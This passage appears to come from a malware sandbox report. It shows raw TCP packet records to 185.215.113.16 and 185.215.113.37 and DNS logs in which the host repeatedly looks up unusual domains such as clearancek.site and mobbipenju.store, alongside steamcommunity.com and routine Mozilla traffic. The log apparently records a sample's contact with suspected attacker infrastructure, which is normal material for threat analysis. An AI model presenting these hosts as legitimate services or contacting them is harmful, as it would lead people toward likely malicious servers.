Oct 23, 2024 17:51:51.930321932 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930332899 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930345058 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930349112 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.930356979 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930367947 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930371046 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.930380106 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930391073 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:51.930401087 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:51.930423021 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.042351961 CEST	80	49933	185.215.113.37	192.168.2.6
Oct 23, 2024 17:51:52.044908047 CEST	49933	80	192.168.2.6	185.215.113.37
Oct 23, 2024 17:51:52.078131914 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078178883 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078191996 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078203917 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078216076 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078224897 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078232050 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078238964 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078250885 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078263044 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078274965 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078282118 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.078341007 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.078470945 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078516960 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.078524113 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078536034 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078562975 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.078579903 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.078610897 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078623056 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078635931 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078670979 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.078883886 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078913927 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078924894 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.078927040 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078948021 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.078964949 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.078978062 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.078989983 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079001904 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079025030 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079051971 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079056025 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079067945 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079080105 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079091072 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079102993 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079102993 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079128981 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079144955 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079222918 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079241037 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079252958 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079262972 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079282045 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079283953 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079297066 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079307079 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079308033 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079330921 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079341888 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079353094 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079359055 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079366922 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079377890 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079386950 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079391003 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079401970 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079413891 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079432011 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079509974 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079520941 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079530001 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079541922 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079552889 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079560995 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079570055 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079572916 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079596996 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079610109 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079621077 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079623938 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079632998 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079662085 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079727888 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079740047 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079751968 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079762936 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.079767942 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079786062 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.079808950 CEST	49932	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:52.080029964 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.080137968 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.080156088 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.080168962 CEST	80	49932	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:52.080178022 CEST	49932	80	192.168.2.6	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 23, 2024 17:51:05.556653976 CEST	192.168.2.6	1.1.1.1	0x4931	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.572359085 CEST	192.168.2.6	1.1.1.1	0xa574	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.588018894 CEST	192.168.2.6	1.1.1.1	0x952e	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.603840113 CEST	192.168.2.6	1.1.1.1	0x71ad	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.615762949 CEST	192.168.2.6	1.1.1.1	0x1c3f	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.626761913 CEST	192.168.2.6	1.1.1.1	0x37f1	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.638147116 CEST	192.168.2.6	1.1.1.1	0xb48c	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.650985956 CEST	192.168.2.6	1.1.1.1	0x932e	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.678445101 CEST	192.168.2.6	1.1.1.1	0x4986	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:07.481374025 CEST	192.168.2.6	1.1.1.1	0xc8ea	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.630518913 CEST	192.168.2.6	1.1.1.1	0x7ec1	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.643600941 CEST	192.168.2.6	1.1.1.1	0xb8de	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.654395103 CEST	192.168.2.6	1.1.1.1	0xae60	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.665591002 CEST	192.168.2.6	1.1.1.1	0x3bb1	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.929572105 CEST	192.168.2.6	1.1.1.1	0x4b7e	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.942986965 CEST	192.168.2.6	1.1.1.1	0x40fb	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.955658913 CEST	192.168.2.6	1.1.1.1	0x8331	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.967283964 CEST	192.168.2.6	1.1.1.1	0x5b5c	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.980473995 CEST	192.168.2.6	1.1.1.1	0x244c	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.044359922 CEST	192.168.2.6	1.1.1.1	0x6219	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.064371109 CEST	192.168.2.6	1.1.1.1	0xe009	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.083766937 CEST	192.168.2.6	1.1.1.1	0x2b40	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.094734907 CEST	192.168.2.6	1.1.1.1	0xedce	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.109512091 CEST	192.168.2.6	1.1.1.1	0x7d14	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.126188040 CEST	192.168.2.6	1.1.1.1	0x6dd5	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.141932011 CEST	192.168.2.6	1.1.1.1	0x322b	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.158248901 CEST	192.168.2.6	1.1.1.1	0x6adb	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.171750069 CEST	192.168.2.6	1.1.1.1	0x3c61	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:01.031860113 CEST	192.168.2.6	1.1.1.1	0x84c7	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:01.053906918 CEST	192.168.2.6	1.1.1.1	0xfc1c	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:52:02.719988108 CEST	192.168.2.6	1.1.1.1	0xf3b4	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:02.735807896 CEST	192.168.2.6	1.1.1.1	0xf8e	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:02.749680042 CEST	192.168.2.6	1.1.1.1	0xf809	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 23, 2024 17:52:03.302223921 CEST	192.168.2.6	1.1.1.1	0x3df6	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:03.317231894 CEST	192.168.2.6	1.1.1.1	0xb642	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:03.348006010 CEST	192.168.2.6	1.1.1.1	0x7c51	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:52:03.964304924 CEST	192.168.2.6	1.1.1.1	0xfc8f	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:03.972630978 CEST	192.168.2.6	1.1.1.1	0xd2d9	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:03.975863934 CEST	192.168.2.6	1.1.1.1	0xae4d	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:03.980863094 CEST	192.168.2.6	1.1.1.1	0xa78b	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 23, 2024 17:52:03.993554115 CEST	192.168.2.6	1.1.1.1	0xe57	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:52:07.651809931 CEST	192.168.2.6	1.1.1.1	0x5eea	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.652209997 CEST	192.168.2.6	1.1.1.1	0x32f1	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.673352003 CEST	192.168.2.6	1.1.1.1	0xe2af	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.681180000 CEST	192.168.2.6	1.1.1.1	0x536	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.685034990 CEST	192.168.2.6	1.1.1.1	0x203f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.712012053 CEST	192.168.2.6	1.1.1.1	0x3731	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.721584082 CEST	192.168.2.6	1.1.1.1	0x4ad7	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:52:07.733129978 CEST	192.168.2.6	1.1.1.1	0xdd68	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.743263006 CEST	192.168.2.6	1.1.1.1	0xb962	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:07.752449989 CEST	192.168.2.6	1.1.1.1	0x9c85	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:52:32.206633091 CEST	192.168.2.6	1.1.1.1	0xcc7d	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:52:34.072264910 CEST	192.168.2.6	1.1.1.1	0x2a96	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.101018906 CEST	192.168.2.6	1.1.1.1	0xdaeb	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.101176023 CEST	192.168.2.6	1.1.1.1	0x46c7	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 23, 2024 17:52:34.105010986 CEST	192.168.2.6	1.1.1.1	0x9857	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.128840923 CEST	192.168.2.6	1.1.1.1	0xd6ab	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.138257027 CEST	192.168.2.6	1.1.1.1	0x9857	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.139400959 CEST	192.168.2.6	1.1.1.1	0x689e	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:52:34.146312952 CEST	192.168.2.6	1.1.1.1	0x2efc	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:52:34.148375988 CEST	192.168.2.6	1.1.1.1	0xecee	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.163707018 CEST	192.168.2.6	1.1.1.1	0xcfb3	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.175174952 CEST	192.168.2.6	1.1.1.1	0xf49a	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.187583923 CEST	192.168.2.6	1.1.1.1	0xdc16	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.199517012 CEST	192.168.2.6	1.1.1.1	0xcb34	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.212193012 CEST	192.168.2.6	1.1.1.1	0xedce	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:34.227139950 CEST	192.168.2.6	1.1.1.1	0x557f	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:35.104641914 CEST	192.168.2.6	1.1.1.1	0x98eb	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:37.601351976 CEST	192.168.2.6	1.1.1.1	0x59cd	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:37.611123085 CEST	192.168.2.6	1.1.1.1	0x6ca9	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:37.619720936 CEST	192.168.2.6	1.1.1.1	0x24d6	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:53:00.274390936 CEST	192.168.2.6	1.1.1.1	0xed37	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:53:00.669169903 CEST	192.168.2.6	1.1.1.1	0x1049	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:00.901129007 CEST	192.168.2.6	1.1.1.1	0x57cb	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 23, 2024 17:53:00.902673960 CEST	192.168.2.6	1.1.1.1	0x5563	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:53:00.926400900 CEST	192.168.2.6	1.1.1.1	0xa18a	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:00.927063942 CEST	192.168.2.6	1.1.1.1	0xadce	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:53:03.607084990 CEST	192.168.2.6	1.1.1.1	0x6cb1	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:53:18.894490004 CEST	192.168.2.6	1.1.1.1	0x20c8	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:53:29.724925041 CEST	192.168.2.6	1.1.1.1	0xb444	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.756681919 CEST	192.168.2.6	1.1.1.1	0x487d	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.765693903 CEST	192.168.2.6	1.1.1.1	0xb444	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.769207001 CEST	192.168.2.6	1.1.1.1	0xd8db	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.785027981 CEST	192.168.2.6	1.1.1.1	0x487d	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.805243969 CEST	192.168.2.6	1.1.1.1	0xd8db	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.808773041 CEST	192.168.2.6	1.1.1.1	0x7298	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 17:53:29.810137033 CEST	192.168.2.6	1.1.1.1	0x426f	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.812421083 CEST	192.168.2.6	1.1.1.1	0xb823	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.826688051 CEST	192.168.2.6	1.1.1.1	0x8774	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Oct 23, 2024 17:53:29.855102062 CEST	192.168.2.6	1.1.1.1	0x426f	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:53:29.855850935 CEST	192.168.2.6	1.1.1.1	0x6873	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Oct 23, 2024 17:53:32.407845020 CEST	192.168.2.6	1.1.1.1	0x3544	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 23, 2024 17:51:05.568680048 CEST	1.1.1.1	192.168.2.6	0x4931	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.585838079 CEST	1.1.1.1	192.168.2.6	0xa574	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.601100922 CEST	1.1.1.1	192.168.2.6	0x952e	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.613667011 CEST	1.1.1.1	192.168.2.6	0x71ad	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.625607967 CEST	1.1.1.1	192.168.2.6	0x1c3f	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.637058020 CEST	1.1.1.1	192.168.2.6	0x37f1	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.648644924 CEST	1.1.1.1	192.168.2.6	0xb48c	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.673758030 CEST	1.1.1.1	192.168.2.6	0x932e	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:05.686014891 CEST	1.1.1.1	192.168.2.6	0x4986	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:07.489490986 CEST	1.1.1.1	192.168.2.6	0xc8ea	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:07.489490986 CEST	1.1.1.1	192.168.2.6	0xc8ea	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.640176058 CEST	1.1.1.1	192.168.2.6	0x7ec1	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.653284073 CEST	1.1.1.1	192.168.2.6	0xb8de	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.664576054 CEST	1.1.1.1	192.168.2.6	0xae60	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.925329924 CEST	1.1.1.1	192.168.2.6	0x3bb1	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.940251112 CEST	1.1.1.1	192.168.2.6	0x4b7e	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.952990055 CEST	1.1.1.1	192.168.2.6	0x40fb	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.964916945 CEST	1.1.1.1	192.168.2.6	0x8331	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.977154970 CEST	1.1.1.1	192.168.2.6	0x5b5c	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:51:44.988281012 CEST	1.1.1.1	192.168.2.6	0x244c	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.057128906 CEST	1.1.1.1	192.168.2.6	0x6219	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.074702978 CEST	1.1.1.1	192.168.2.6	0xe009	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.093698978 CEST	1.1.1.1	192.168.2.6	0x2b40	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.104964018 CEST	1.1.1.1	192.168.2.6	0xedce	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.119452953 CEST	1.1.1.1	192.168.2.6	0x7d14	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.136113882 CEST	1.1.1.1	192.168.2.6	0x6dd5	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.152439117 CEST	1.1.1.1	192.168.2.6	0x322b	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.169152975 CEST	1.1.1.1	192.168.2.6	0x6adb	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:00.181103945 CEST	1.1.1.1	192.168.2.6	0x3c61	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 23, 2024 17:52:01.004429102 CEST	1.1.1.1	192.168.2.6	0x8381	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
